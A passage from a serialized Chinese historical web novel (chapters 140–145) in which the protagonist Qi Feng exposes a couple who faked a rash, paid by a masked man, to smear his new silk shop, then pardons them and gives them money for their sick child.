就在这时,铺子外忽传来一阵急促的脚步声,一名小厮模样的年轻人满头大汗,跌跌撞撞地冲进铺子,气喘吁吁地喊道:“齐公子,大事不好了!出问题了!”
此话一出,全场一寂。
齐枫眉头微挑,沉声道:“何事如此慌张?慢慢说。”
小厮喘着粗气,结结巴巴道:“齐公子,外面,外面来了人!说,说是咱们
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锦绣阁的丝绸有问题!有个客人买了咱们的衣裳,穿上后全身起了红疹子,现在带着人找上门来了!”
此言一出,贺客们面面相觑,低声议论起来。
赵明德眉头微皱,放下茶盏,沉声道:“齐贤弟,这是怎么回事?锦绣阁的丝绸可是府城一绝,怎会出这种事?”
卢正淳温和道:“生意场上难免有些风波,诸位莫急,先弄清楚缘由再说。”
袁克良站在角落,闻言冷笑一声,眼中闪过一抹阴鸷,心中暗道:“齐枫,这回我倒要看看你怎么翻身!锦绣阁刚开张就闹出这等事,名声不保,看你如何收场!”
南宫玥轻蹙眉头,低声道:“齐郎,这事来得蹊跷,怕是有人故意找茬,我们锦绣阁的丝绸都是精挑细选,怎会出问题?”
赵明兰叉腰,气呼呼道:“肯定是有人眼红齐枫的生意,存心来捣乱!齐枫,你别怕,咱们当面问清楚,看谁敢在这儿胡说八道!”
周子陵踏前一步,也是眉头紧皱:“不错!锦绣阁的丝绸我们几家都验过,绝不可能有问题!咱们去瞧瞧到底是谁在撒野!”
陈玉堂冷着一张脸道:“若真是有人故意抹黑,咱们绝不轻饶!富贵就在外面候着,哪个不长眼的敢来**,直接扔出去!”
齐枫摆摆手:“诸位莫急,齐某自有分寸。既然有人找上门,咱们就去会会,看看这红疹子是怎么回事。”
话音未落,铺子外传来一阵喧哗,紧接着两道身影大步踏入。
为首一人是个三十出头的男子,名叫张大牛,满脸怒气,身上穿着锦绣阁的青色绸衫,袖子挽起,露出手臂上密密麻麻的红疹,触目惊心。
他身旁跟着一个泼辣的妇人,名叫王氏,叉着腰,嗓门极大,指着铺子内喊道:“齐枫!你这锦绣阁卖的是什么黑心货!看看我家大牛,穿了你这衣裳,全身起疹子,痒得要命!你今日若不给个说法,我们跟你没完!”
第一百四十章 计划毒辣!
铺子内的贺客们顿时议论纷纷,窃窃私语声此起彼伏。
“这是怎么回事?锦绣阁的丝绸看着挺好,怎会出这种事?”
“齐公子可是春闱榜首,名声显赫,应该不至于卖黑心货吧?”
“难说!正因为他是榜首,名头响,谁敢得罪?若真出了事,怕是没人敢吭声!”
“可这红疹子看着不假,齐公子总得给个说法吧?”
明眼人都能够看得出来,此计确实毒辣!
开业当天闹出了这样的事情,不管这件事情是真是假,怀疑的种子一旦种下,那众人的心里就会诞生出很多想法,这件事情若是不能完美的处置好,不管再怎么样,那势必都会受到影响!
赵明德眉头紧锁,提醒道:“齐贤弟,这事若不处理好,锦绣阁刚开张就闹出这等事,怕是要影响名声,生意场上最忌讳这种风波,免得让人抓了把柄。”
楚清秋站在齐枫身侧,也是目光森冷:“少爷,这事来得太巧,怕是有人故意为之。袁克良在角落冷笑,八成与他脱不了干系。”
齐枫微微颔首,目光扫过角落的袁克良,见他嘴角勾着冷笑,心中了然,却不动声色,笑眯眯地走向张大牛,拱手道:“这位张兄,锦绣阁初开,承蒙捧场。既说是我铺子的衣裳出了问题,小子自当查个明白。不知张兄这红疹子是何时起的?可否细说一二?”
张大牛被齐枫的目光一扫,气势弱了几分,挠着满是红疹的手臂,支吾道:“就,就是刚不久买了你这衣裳,穿上不到一个时辰,身上就痒得不行,然后更是起了满身疹子!你这丝绸肯定有问题!”
王氏叉腰,尖声道:“齐枫,你别想耍赖!我们大牛老实本分,穿了你这衣裳才出的事!你这铺子看着光鲜,谁知道是不是黑心货!今日不赔我们银子,这事没完!”
齐枫不慌不忙:“王氏嫂子,话可不能乱说。锦绣阁的丝绸都是精挑细选,针脚细密,染料也是上等货,怎会出问题?张兄这红疹子,许是吃了什么不干净的东西,或是碰了什么不该碰的,怎能一口咬定是我铺子的衣裳?”
张大牛被问得一愣,挠着头,支吾道:“我,我今儿就吃了点米粥,没吃别的……衣裳也是新的,没穿别的……”
王氏瞪了他一眼,抢着道:“你少在这儿胡扯!我们大牛好端端的,穿了你这衣裳才出的事!你就是想推卸责任!今日府城各家都在这儿,你若不给说法,休想蒙混过关!”
铺子内的贺客们议论更甚,有人低声道:“齐公子说得也有理,红疹子不一定就是衣裳的问题,兴许是吃错了东西。”
“可这疹子看着吓人,锦绣阁刚开张就出这事,怕是不好收场。”
赵明兰气得跺脚,娇声道:“齐枫的丝绸我都验过,绝不可能有问题!你们俩分明是来讹人的!说,是不是有人指使你们?”
南宫玥轻蹙眉头,温声道:“张兄,王氏嫂子,锦绣阁的丝绸都是上等货,府城各家都来捧场,怎会出问题?若真是衣裳的事,齐公子定会给个说法。可若有人故意抹黑,怕是要查个水落石出。”
张大牛被众人轮番质问,额头冒汗,支吾道:“我,我没撒谎!就是穿了这衣裳才起的疹子!你们别,别想吓唬我!”
王氏尖声道:“齐枫,你少在这儿装好人!我们大牛都快痒**,你还在这儿推三阻四!今日不赔银子,我们就去府衙告你!”
齐枫笑眯眯地走近张大牛,目光在他手臂上的红疹子上扫过,依旧不急不缓:“张兄,小子并非推卸责任,只是关心你的身子。这红疹子来得蹊跷,若真是衣裳的问题,锦绣阁自当负责。可若不是,本少也得帮你查清缘由,免得误了病情。”
他顿了顿,目光一转,盯着张大牛的眼睛,慢悠悠道:“张兄,你这疹子看着虽吓人,但脉象如何,可否让本少瞧瞧?本少略通医术,兴许能帮你找出真因。”
张大牛被齐枫的目光盯得心虚,往后退了半步,支
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吾道:“你,你别想转移话题!”
王氏急了,扯着嗓子道:“齐枫你就是想赖账!还什么春围榜首,我呸!”
齐枫呵呵一笑,依旧温和:“王氏嫂子,本少从不耍赖。只是张兄这红疹子来得蹊跷,小子身为医者,怎能见死不救?不过……”
他话锋一转,目光扫过张大牛,慢悠悠道:“张兄这红疹子,若不及时医治,怕是要不了多久,便会毒发攻心,一命呜呼!”
此言一出,铺子内一片哗然。
贺客们瞪大眼睛,议论声更大了。
“什么?一命呜呼?这么严重?”
“齐公子是榜首,还通医术,应该不会乱说吧?”
“可这红疹子看着吓人,若真是衣裳的问题,锦绣阁怕是要砸了招牌!”
张大牛脸色煞白,腿一软,差点跌坐在地,颤声道:“你,你说什么?一命呜呼?我,我没那么严重吧?”
王氏也慌了,尖声道:“齐枫,你别吓唬人!我们大牛就是起了点疹子,怎会要命!”
赵明兰瞪着王氏,娇声道:“你们俩别在这儿装!齐枫会医术,他说要命,八成不假!快说,是不是有人指使你们来**?”
南宫玥也适时温声道:“张兄,齐公子医术高明,若你这疹子真有问题,他定能帮你医治。可若有人故意抹黑,趁早招了,免得害人害己。”
齐枫笑眯眯地看着张大牛,慢悠悠道:“张兄,小子绝非吓唬你。你这红疹子,怕是中了某种毒物,若不查清缘由,拖延下去,性命堪忧。不如让小子为你把把脉,查查这毒从何而来,如何?”
张大牛被齐枫的话吓得脸色更白,额头冷汗直冒,支吾道:“我,我……”
齐枫呵呵一笑,目光扫过众人,朗声道:“诸位,锦绣阁初开,承蒙大家捧场。小子绝不敢卖黑心货,这红疹子的事,小子定会查个水落石出!张兄若信得过,小子这就为你诊脉,找出真因。若真是锦绣阁的错,小子自当赔罪!”
第一百四十一章 处事
张大牛额头冷汗涔涔,面对齐枫的提议,眼神闪躲,猛地往后退了一步,声音带着几分惊慌。
“你,你休想!齐枫,你这是想趁机动手脚,掩盖你的黑心货!我才不会让你把脉,谁知道你会不会下毒害我!”
王氏也扯着嗓子,叉腰附和:“就是!姓齐的,你别装好人!我们大牛穿了你的衣裳才出的事,你现在装模作样想把脉,分明是想推卸责任!大伙儿都瞧瞧,这春闱榜首就是这么坑害百姓的!”
齐枫依旧笑眯眯,不急不缓:“张兄,嫂子,你们这话可有些过了。锦绣阁的丝绸,府城各家都验过,怎会出问题?张兄这红疹子来得蹊跷,小子只是想帮你查清病因。你若不信,细想想,这会儿是不是觉得心口有些闷痛,呼吸也渐渐不顺?”
张大牛闻言,脸色更白,眼神闪烁,手不自觉地按向胸口。
他咬牙,强撑着道:“胡说!我好端端的,哪有什么心口闷痛!你少在这儿吓唬人!”
齐枫目光微眯,语气依旧平静:“张兄,毒物入体,初时只是皮肤红疹,若不及时医治,毒气会上攻心脉,导致胸闷气短,甚至神志昏迷。你再想想,这会儿是不是舌头发麻,四肢有些无力?”
张大牛被齐枫的话说得心头一颤,额头汗珠更大,眼神慌乱,嘴唇微微发抖,像是真感觉到了不适。
他强自镇定,咬牙道:“不可能!齐枫,你少在这儿妖言惑众!就是你的衣裳有问题,你休想蒙混过去!”
王氏见丈夫气势弱了,急得跺脚,尖声挑拨:“大伙儿都听听!这姓齐的分明是想推卸责任!我们大牛好端端的,穿了他的衣裳才出的事,他现在还装神弄鬼,吓唬人!锦绣阁就是个黑心铺子,诸位可得看清楚,别被这榜首的名头骗了!”
铺子内的贺客们议论声更大,窃窃私语此起彼伏。
一名矮胖的商贾摸着下巴,低声道:“这事蹊跷,锦绣阁的丝绸看着不像是次品,可这红疹子也不像假的。齐公子怕是真有麻烦了。”
另一名瘦高男子接口,带着几分恶意:“哼,齐枫不过靠几首诗出名,哪懂什么生意?兴许这丝绸就是掺了假,害了人!今日不给说法,锦绣阁的名声可要砸了!”
这两人话音刚落,角落里几个围观的路人附和:“就是!齐公子若真清白,怎会怕查?张大牛都这样了,还在这儿推三阻四,分明心里有鬼!”
赵明兰气得俏脸通红,指着那几人道:“你们几个,少在这儿胡说八道!锦绣阁的丝绸我亲自验过,怎会有问题?分明是有人故意抹黑!”
南宫玥也温声道:“诸位莫要急于下结论,齐公子已说了,若真是铺子的问题,定会负责。查清真相,才是正理。”
议论声中,另一名衣着华贵的青年站了出来,阴阳怪气:“南宫姑娘,你这话轻巧。锦绣阁开张就出这事,齐枫若真清白,怎不直接赔银子了事?还在这儿装模作样,怕是想拖延时间!”
这青年名叫钱文通,平日与袁氏交好,今日显然是得了袁克良的授意,特意来搅局。
另一名商贾也附和:“钱公子说得对!齐枫若真有担当,就该先赔了张大牛的损失,再查什么真相!这红疹子明摆着是衣裳的问题,还用查?”
铺子内的气氛越发混乱,支持齐枫的和质疑他的声音交织一片。
周子陵踏前一步,怒声道:“你们几个,少在这儿煽风点火!齐兄都说了要查清真相,还愿亲自诊脉,这态度还不够?你们一口咬定是锦绣阁的问题,拿出证据来!”
陈玉堂也冷着脸道:“锦绣阁的丝绸我们几家都验过,绝无问题!张大牛,你若真敢让齐兄把脉,怕是早就露馅了!”
就在此时,一名白发老者挤出人群,沉声道:“诸位稍安勿躁!老夫王泽远,行商三十年,略通些医
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理。齐公子既愿为张大牛诊脉,且公开承诺若有问题便负责,这态度已是仁至义尽!张大牛若真无辜,何不让齐公子一探究竟?若推三阻四,怕是心中有鬼!”
王泽远在府城商界颇有威望,他一开口,议论声稍稍平息,不少人点头,觉得此言有理。
赵明德也放下茶盏,沉声道:“张大牛,王氏,齐公子已做到这一步,你们若真要说法,就让他诊脉查清缘由。若是锦绣阁的错,本官担保,齐公子定会赔罪。若你们现在说实话,本官可既往不咎,但若查出你们故意抹黑,府衙可不会轻饶!”
卢正淳捋着胡须,点头道:“赵大人说得对。张大牛,你若真无辜,何必怕诊脉?现在坦白,还可免罪,若待真相大白,怕是要吃官司!”
张大牛被赵明德和卢正淳的话吓得腿一软,脸色更白,眼神慌乱地扫向王氏,嘴唇哆嗦着说不出话。
王氏急了,尖声道:“你们官官相护!我们大牛就是穿了这衣裳才出的事,怎会是假?齐枫,你少在这儿装好人,赶紧赔银子,不然我们告到府衙去!”
张大牛咬牙,强撑着道:“对!就是你锦绣阁的衣裳有问题!我不让你把脉,你肯定想害我!我好端端的,怎会**?!”
齐枫笑眯眯地看着张大牛,慢悠悠道:“张兄,你这会儿怕是已经觉得喉咙发紧,胸口像压了块石头吧?再拖下去,怕是连站都站不稳了。本少劝你一句,趁现在说实话,还来得及。”
张大牛闻言,眼神更慌,手不自觉地摸向喉咙。
他咬牙,声音却弱了几分:“你,你胡说!我没问题!就是你的衣裳害了我!”
袁克良站在角落,见势不妙,踏前一步,冷笑道:“齐枫,你少在这儿装神弄鬼!张大牛都这样了,你还在这儿拖延时间,分明是心虚!锦绣阁的丝绸有问题你就痛快认了,赔银子了事,省得丢人现眼!”
第一百四十二章 冤枉
赵明兰气得跺脚:“袁克良,你又跳出来捣乱!齐枫都说了要查真相,你在这儿瞎掺和什么?是不是你指使这两人来**的?”
袁克良冷哼:“赵小姐,你可别血口喷人!我不过是看不下去齐枫在这儿装清高!张大牛的疹子明摆着是锦绣阁的错,他还在这儿装模作样,浪费大家时间!”
钱文通也趁机煽风点火:“就是!齐枫若真有本事,就别在这儿拖延,直接赔银子,证明锦绣阁的担当!”
铺子内的议论声越发激烈,支持袁克良的几人不断起哄,想要将气氛推向失控。
一名围观的小商贩低声道:“齐公子怕是真有麻烦,这红疹子看着吓人,锦绣阁刚开张就出这事,名声怕是要毁了。”
另一人附和:“可不是!袁公子说得也有理,齐枫若真清白,怎不直接赔了了事?”
王泽远皱眉,沉声道:“诸位莫要被带偏!齐公子已愿诊脉查真相,态度光明磊落!张大牛若推脱,怕是真有猫腻!”
赵明德目光一沉,盯着张大牛道:“张大牛,本官再问你一次,你到底让不让齐公子诊脉?若你现在说出实情,本官可网开一面。若待真相大白,你可知府衙的刑罚有多重?”
张大牛被赵明德的气势压得喘不过气,额头冷汗如雨。
王氏见状,扯着嗓子道:“你们欺人太甚!我们大牛是受害者,你们还这样逼他!锦绣阁就是黑心铺子,齐枫就是个骗子!”
袁克良趁机大声道:“齐枫,你别再装了!张大牛都这样了,你还在这儿拖延,今日府城各家都在,你若不认错,锦绣阁休想在南街立足!”
周子陵怒声道:“袁克良,你少在这儿挑拨!张大牛,你若再不说实话,别怪我们不客气!”
就在众人争执不下,气氛几近沸腾之际,张大牛突然脸色一白,眼神涣散,身体一晃,白眼一翻,竟直挺挺地倒在地上,昏死过去!
铺子内瞬间鸦雀无声,所有人瞪大眼睛,震惊地看着倒地的张大牛。
张大牛脸色惨白,双目紧闭,气息微弱。
围观的贺客们屏住呼吸,目光在张大牛和齐枫之间来回游移。
王氏愣了片刻,随即扑到张大牛身上,惊慌失措地摇晃着他,尖声喊道:“大牛!大牛!你这是怎么了?醒醒啊!你可别吓我!”
她猛地转头,瞪着齐枫,“齐枫!你这黑心商人!害了我家大牛,还在这儿装无辜!你还不赶紧把解药拿出来!想看着他死吗?”
铺子内的议论声再次炸开,袁克良买通的几人趁机起哄。
钱文通踏前一步,指着齐枫冷笑道:“瞧瞧!张大牛都昏过去了,齐枫你还在这儿装清高!这毒分明是你下的,想闹出人命好推卸责任吗?”
另一名商贾附和:“就是!锦绣阁开张第一天就出这事,齐枫你怎会眼睁睁看着张大牛倒下?你这榜首也太心狠手辣!”
围观的路人中,有人不明真相被带偏:“这事看着不简单,张大牛都这样了,齐公子怕是真有问题。”
“可不是!锦绣阁的丝绸再好看,也不能害人性命啊!齐枫得给个说法!”
赵明兰气得俏脸通红,叉腰怒视周围的人群,娇声喝道:“你们眼瞎了吗?齐枫一开始就说了,这红疹子可能危及性命,是他们自己不听,非不让诊脉!现在张大牛倒了,不正好应了齐枫的话?你们还在这儿胡乱指责!”
袁克良站在角落,闻言冷笑一声,踏前一步,慢悠悠道:“赵小姐,你这话可有意思。齐枫下的毒,他当然知道什么时候发作!张大牛这会儿倒下,不正好说明他早有预谋?装得再清白,也掩不住这黑心!”
赵明兰被这话气得胸口起伏,指着袁克良怒道:“袁克良,你少在这儿血口喷人!齐枫为人光明磊落,怎会做这种下作事?你分明是嫉妒锦绣阁的生意,故意找人来捣乱!”
袁克良冷哼:“赵小姐,你护着齐枫
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我能理解,可事实摆在眼前,张大牛都昏了,你还在这儿替他辩解?莫非,你们二人有什么见不得光的关系?!”
萧无痕站在一旁,目光冷峻,腰间圆月弯刀泛着寒光。
他一言不发,只是静静注视着齐枫,在观察他如何应对这场风波。
赵明德放下茶盏,沉声开口,语气威严:“诸位稍安勿躁!本官与齐贤弟相识已久,他的为人本官信得过!张大牛之事,定有误会。齐贤弟既精通医术,不如让他先救人,再查真相,诸位以为如何?”
卢正淳点头附和:“赵大人说得有理。齐公子已多次表示愿为张大牛诊治,若真有问题,他定会负责。眼下人命关天,先救人要紧!”
齐枫闻言,嘴角微微上扬,折扇轻合,笑眯眯地走向张大牛,蹲下身,目光扫过他惨白的脸庞,慢悠悠道:“诸位放心,齐某既说了要查真相,绝不食言。张兄这症状,怕是毒气已侵入心脉,拖延不得。”
他从袖中取出几枚银针,动作熟练地刺入张大牛胸口几处穴位,手法轻盈精准。
银针入体,张大牛的身体微微一颤,紧闭的双眼缓缓睁开,气息也渐渐平稳。
铺子内众人瞪大眼睛,屏息凝神地看着这一幕。
张大牛醒来后,眼神迷茫,脸色依旧苍白,虚弱地喘着气:“我……我这是怎么了?”
王氏扑到他身边,泪眼汪汪:“大牛!你可算醒了!齐枫,你害我家大牛到这地步,还不赶紧把解药拿出来!”
齐枫站起身,语气平静:“王氏嫂子,稍安勿躁。张兄这毒,我已用银针暂时压制,但毒素未清,若不知他究竟中了何毒,解毒之事无从谈起。张兄若再不说实话,怕是性命难保。”
他顿了顿,目光直视张大牛,慢悠悠道:“张兄,你这会儿怕是觉得胸口仍有余痛,喉咙干涩,四肢无力吧?这毒若不及时解,怕是要不了多久,便会再次昏厥,甚至……一命呜呼。”
第一百四十三章 手段!
张大牛闻言,脸色更白,眼神慌乱,他咬牙,声音颤抖:“你……你胡说!我没**!就是你的衣裳害了我!”
王氏也吓得脸色发白,拽着张大牛的胳膊,声音带着哭腔:“大牛,你别硬撑了!齐枫说你**了,你感觉怎么样?是不是真像他说的那样?”
张大牛眼神闪烁,额头冷汗直冒,支吾道:“我……我没事!就是衣裳的问题!”
齐枫笑眯眯地看着他,语气依旧不急不缓:“张兄,毒气入体,非同小可,你若再不说实话,拖延下去,怕是连府衙的刑罚都救不了你了,趁现在说出真相,或许还有一线生机。”
赵明兰踏前一步,娇声道:“张大牛,你还嘴硬什么?齐枫都把你救醒了,你还不说实话?是不是有人指使你来抹黑锦绣阁?现在说了,兴许还能免罪!”
南宫玥也乘热打铁道:“张兄,齐公子已仁至义尽,你若再隐瞒,怕是害人害己,府城各家都在看着,你可要想清楚。”
袁克良见势不妙,冷笑一声:“齐枫,你少在这儿装好人!张大牛都昏过去了,你用几根针就想证明自己清白?分明是你下的毒,现在装模作样救人,好洗清嫌疑!”
钱文通也附和:“就是!齐枫,你这银针怕是障眼法吧?张大牛若真**,你锦绣阁的名声可就彻底毁了!”
张大牛脸色苍白如纸,可就是死咬牙关不肯说。
王氏见丈夫这副模样,心头一颤,泪水夺眶而出:“大牛,你别再硬撑了!你若没了,咱们可怎么办?”
张大牛突然大口大口喘气,像是呼吸困难。
王氏终于崩溃,猛地跪在地上,泪流满面,尖声喊道:“我说!我们都说!”
张大牛挣扎着撑起身子,气息虚弱,眼神却带着几分焦急,嘶哑道:“娘子!别说!咱们……咱们不能说!”
王氏猛地转头,泪眼汪汪地看着张大牛:“大牛!不行!咱们不能再瞒了!咱们做这些,不就是为了好好在一起,为了孩子吗?若你没了,这一切还有什么意思?”
她说着,泪水滑落,双手紧紧攥着张大牛的衣袖,“你都昏过去了,我不能看着你死啊!”
张大牛闻言,眼神一震,嘴唇颤抖,似被妻子的话触动。
他低头,眼中闪过一丝痛苦与挣扎,半晌,颓然叹了口气,虚弱道:“好……娘子,你说吧。”
王氏擦了把泪水,扑通一声跪在齐枫面前,泣声道:“齐公子!求你救救我家大牛!我们……我们是被逼的!前几日,一个蒙面人找到我们,说让我们来锦绣阁**,陷害你的铺子!”
她顿了顿,声音带着哭腔,“他给了大牛一颗药丸,吃了后就会起红疹子,还说只要我们按他说的做,就给五十两银子!那药丸……黑乎乎的,拇指大小,闻着有股怪味,像草药又像别的什么……我们一时鬼迷心窍,就答应了!”
此言一出,铺子内一片哗然,贺客们的议论声如潮水般涌起。
周子陵踏前一步,怒声道:“果然是有人故意陷害!齐兄的锦绣阁清清白白,哪来的黑心货?这些小人,真是可恨!”
陈玉堂冷哼:“我就说嘛,锦绣阁的丝绸我们都验过,怎会有问题?分明是有人见不得齐兄生意好!”
支持齐枫的商贾们纷纷点头,交口称赞:“齐公子果真被冤枉了!这对夫妇也太胆大,敢来抹黑春闱榜首!”
而先前被袁克良买通的几人,如钱文通等人,闻言脸色一变,低头悄悄往人群后退,想要趁乱溜走。
赵明兰目光如炬,环视四周,娇声道:“果然是有人陷害!刚才那些乱嚷嚷的人呢?怎么这会儿全怂了?”
小荷气鼓鼓地叉腰,瞪着人群:“哼,刚才还指着少爷骂,现在真相一出,全跑了!真没种!”
齐枫笑眯眯地摆手,目光扫过张大牛,温声道:“张兄,嫂子,你们既已说出真相,齐某便不追究,但你这毒还未清,拖不得。”
他转头朝小荷道,“小荷,去后院取一碗盐水来,动作快些。”
小荷点头,飞快跑向后院,不多时端来一碗清澈的盐水,递到齐枫手中。
齐枫接过碗,蹲下身,扶起张大牛,慢悠悠道:“张兄,这盐水能暂缓毒性,喝下去吧。”
张大牛眼神复杂,嘴唇颤抖,犹豫片刻后接过碗,咕咚咕咚喝下。
没过片刻,他脸色渐渐缓和,胸口的闷痛似减轻不少,呼吸也平稳了些。
他抬起头,眼神带着几分感激:“齐公子……
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多谢你救我。”
齐枫笑眯眯道:“张兄,救你不难,但这毒的来历还得查清。你们既已坦白,齐某便不追究,但那蒙面人是谁,你们可知道?”
赵明德目光一沉,踏前一步,威严道:“张大牛,王氏,你们好大的胆子!竟敢冤枉春闱榜首,陷害锦绣阁!此等罪行,府衙可不轻饶!现在说出那蒙面人的底细,或许还能减轻罪责!”
张大牛和王氏对视一眼,眼中满是惊惶。
王氏泪水未干,颤声道:“赵大人饶命!我们……我们真是鬼迷心窍!大牛为了给孩子攒点银子,才一时糊涂!”
张大牛咬牙,猛地叩头:“赵大人,齐公子,罪全在我!是我见财起意,吃了那药丸,娘子她……她只是被我拖累!求你们饶她一命!”
王氏急了,扑过去拉住张大牛,哭道:“不!是我劝大牛答应的!若不是我贪那五十两银子,大牛也不会做这事!是我该死!”
两人相互揽罪,泪流满面,情真意切,引得围观众人一阵唏嘘。
一名商贾道:“这夫妇俩看着倒也可怜,怕是真被逼无奈。”
另一人叹气:“唉,五十两银子对他们这样的百姓,可不是小数目。谁能不心动?”
卢正淳皱眉,沉声道:“张大牛,王氏,你们既知错,便该将那蒙面人的底细说清!”
赵明德点头,冷哼:“本官给你们最后一次机会!那蒙面人是谁?有何特征?速速说来!”
张大牛脸色惨白,叩头道:“赵大人,卢大人,我们真不知那人是谁!他蒙着面,身形高瘦,声音低沉,穿一身黑袍,像是……像是故意遮掩身份!他只说让我们按他的吩咐做,事成后给五十两银子,还说若不听话,就让我们**!”
王氏哭着附和:“大人,我们真不知道他是谁!他夜里来找我们,给了药丸就走了!我们只想拿了银子给孩子治病,求大人饶命!”
齐枫目光扫过人群,落在袁克良身上,笑眯眯道:“诸位,这蒙面人来历不明,手段却如此毒辣,倒是让齐某想起一个人。”
赵明兰眼睛一亮,指着袁克良,娇声道:“袁克良!你还敢在这儿装无辜?分明是你指使这夫妇俩来陷害齐枫!快跳出来认错!”
第一百四十四章 恩怨如烟
赵明兰此言一出,众人目光如寒星点点,齐齐落在袁克良身上。
袁克良面容阴鸷,眼中闪过一瞬慌乱,旋即被他强压下去,嘴角扯出一抹冷笑。
周子陵踏前一步,带着几分怒意:“袁克良,你这人心术不正,上次买通阿福构陷齐兄,如今又故技重施!如此卑劣行径,府城上下谁人不知?”
陈玉堂也是目光如刀,寒声道:“必然是你!锦绣阁开张,你心生嫉恨,暗中使绊,欲毁齐兄清名,真是小人行径!”
赵明兰俏脸微沉,继续叉腰道:“袁克良,你还装什么清白?上次阿福之事你未受教训,这回又来兴风作浪!那蒙面人分明是你指使,罪责皆归于你!”
袁克良脸色一变,猛地踏前,咬牙道:“赵明兰,你休要信口雌黄!无凭无据,怎敢断定是我?齐枫铺子出事,自是他货有瑕疵,与我何干?不要随意攀诬!”
铺贺客们目光在袁克良与齐枫间流转。
支持齐枫的商贾低声议论,皆认定此事与袁克良脱不了干系,而先前受袁克良收买之人,如钱文通之流,已悄然退至人群后,不在言语。
赵明德放下茶盏,目光如霜:“袁克良,锦绣阁开张首日便生此变,若无幕后之人,怎会如此巧合?此事必须彻查!若查出与你有关,府衙绝不姑息!”
他转头朝门外一挥手,声如洪钟:“来人!传张捕头!”
门外脚步声急促,一名佩刀捕快大步而入,恭敬拱手:“赵大人有何吩咐?”
赵明德威严道:“张捕头,速带人彻查那蒙面人!掘地三尺,亦要查明真相!若有懈怠,唯你是问!”
张捕头抱拳应道:“属下遵命!”
言罢,他领着几名官兵,转身离去。
张大牛与王氏跪于地上,面如死灰,泪水纵横,叩头不止,哀声求饶。
王氏泣声道:“齐公子,赵大人,求您开恩!我家还有一病重孩儿,若我二人被拘,孩子何以存活?我们实是被逼无奈!”
张大牛哽咽,头颅重重叩地:“齐公子,皆我之错!为那五十两银子,我一时糊涂,害了您!孩子病重,我们走投无路,求您宽宥!”
二人泪流满面,情真意切,相互揽罪,引得围观众人低声叹息。
一商贾道:“此二人虽有错,却为孩子所迫,实乃可怜。”
“五十两对他们,确是救命之资,谁能不动心?”
“可就算这样,也不能随意冤枉人啊,可怜人必有可恨之处!”
齐枫目光扫过张大牛与王氏,缓声道:“诸位,人心之复杂,善恶常在一念间。张兄与嫂子为利误入歧途,齐某却不忍苛责。”
他转向赵明德,拱手道:“赵大人,此二人虽有过,然为孩子病困,情有可原。齐某愿不予追究,其身中之毒,齐某自当医治。”
言罢,他自袖中取出二十两银子,递至张大牛手中,温声道:“张兄,此二十两,拿去为孩子治病。日后莫再行此险事,踏实度日,方是正途。”
此举一出,铺子内众人一阵哗然。
齐枫将二十两银子递到张大牛手中,这一举动如同一颗石子投入平静湖面,激起阵阵涟漪,铺子内的贺客们目瞪口呆,惊叹声此起彼伏,喧嚣在瞬间化作一片哗然。
赵明兰俏脸生辉,眼中闪着佩服的光芒,忍不住道:“齐枫,你的心胸宽得能装下整个青川河!这俩人坑你,你还掏银子帮他们?”
周子陵拍手大笑:“齐兄这气魄简直是府城一绝!换成我,早把这俩人扔出去了,你还给银子,我无法可说了!”
楚清秋站在齐枫身侧,面纱遮住半边脸,眼中却泛起一抹柔和的笑意,带着几分欣赏,复杂的情愫。
她未言语,只是凝视着齐枫,嘴角微微上扬。
齐枫道:“张兄,嫂子,孩子的命不能耽误,赶紧去治病吧。这是给你们改过的机会。日后若再作恶,齐某绝不手软。”
张大牛与王氏泪流满面,扑通跪下,感激涕零。
王氏哽咽:“齐公子,您的大恩,我
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们夫妻永世不忘!以后定做善事,绝不再走歪路!”
张大牛叩头不止:“齐公子,您救我一命,还给银子救我儿,我……我张大牛若再负您,天理不容!”
卢正淳捋着胡须,沉声道:“小荷,带他们去内堂,齐公子稍后为张大牛解毒。”
小荷脆生生应道:“好嘞!张大牛,嫂子,走吧!”
她领着夫妇二人,穿过人群,朝内堂走去。
一名商贾叹道:“齐公子这仁义,府城上下谁能比?真是大度!”
“锦绣阁有这样的东家,生意想不火都难!这事传出去,怕是要轰动云州!”
生意重新热闹起来,杭绸蜀锦在琉璃灯下光彩夺目,贺客们围着丝绸品评,订单声不断,铺子内一片繁荣。
萧无痕缓步上前:“齐枫,你这手段确实高明,萧某公务缠身,先告辞。”
齐枫拱手,笑得从容:“萧大人好意,齐某心领。改日若有空,欢迎再来锦绣阁。”
萧无痕微微点头,转身离去。
袁克良站在角落,恶狠狠瞪了齐枫一眼,眼中满是不甘,冷哼一声,甩袖离开。
赵明德与卢正淳走上前,赵明德拍着齐枫的肩,笑道:“齐贤弟,你这胸襟府城无人能及!今日一举,锦绣阁的名声怕是要响彻云州!”
卢正淳点头:“齐公子化敌为友,危机变助力,老夫佩服。”
齐枫折扇一展,谦逊道:“两位大人过奖,齐某只是做了该做的事。锦绣阁能有今日,全靠诸位照拂。”
赵明德哈哈一笑:“齐贤弟莫谦虚,本官看好你!”
说罢,他与卢正淳拱手告辞,带着随从离开。
铺子内的生意如火如荼,贺客络绎不绝。
柳若雪与楚清秋退至铺子一角,柳若雪轻摇团扇,柔声道:“陛下,齐公子今日真是足智多谋。这场风波若处理不善,锦绣阁怕是要名声扫地。谁料他不仅化解危机,还借此扬名。这仁义之举一传开,府城的贵女夫人怕是要蜂拥而至。”
第一百四十五章 借力打力
楚清秋目光柔和,微微一笑:“我也未料到,少爷今日能将危机化为助力。他的心机与仁心,确实让人刮目相看。”
柳若雪掩嘴轻笑:“陛下,齐公子这番作为,袁克良怕是要气得睡不着了,搬起石头砸自己的脚,锦绣阁的名声,今日算是彻底打响。”
楚清秋点头,眼中笑意更深。
铺子内的热闹持续到黄昏,订单如雪片飞来,匠人们忙得脚不沾地。
齐枫站在铺子中央,笑眯眯地看着这盛况,心中已有盘算。
日暮时分,齐枫带着众人离开南街,回到醉月楼。
厢房内,灯火摇曳,桌上摆满珍馐美酒,众人围坐一桌,准备庆功。
夕阳西沉,张大牛与王氏相互搀扶往家中走去。
二人手中紧握着齐枫赠予的二十两银子,脸上犹带泪痕,心中却似压了一块巨石,既有感激,又有悔恨。
王氏擦了擦眼角,声音哽咽:“大牛,今日若不是齐公子宽宏大量,咱们怕是得在府衙大牢里过下半辈子了。你说,他一个春闱榜首,咋能心胸这么宽?换成旁人,早把咱们打得满地找牙了!”
张大牛叹了口气,粗糙的手掌摩挲着银子,眼神复杂:“娘子,齐公子真是大恩人。咱们为了五十两银子,差点害了他铺子,还害了自己,这恩情,咱咋还啊?”
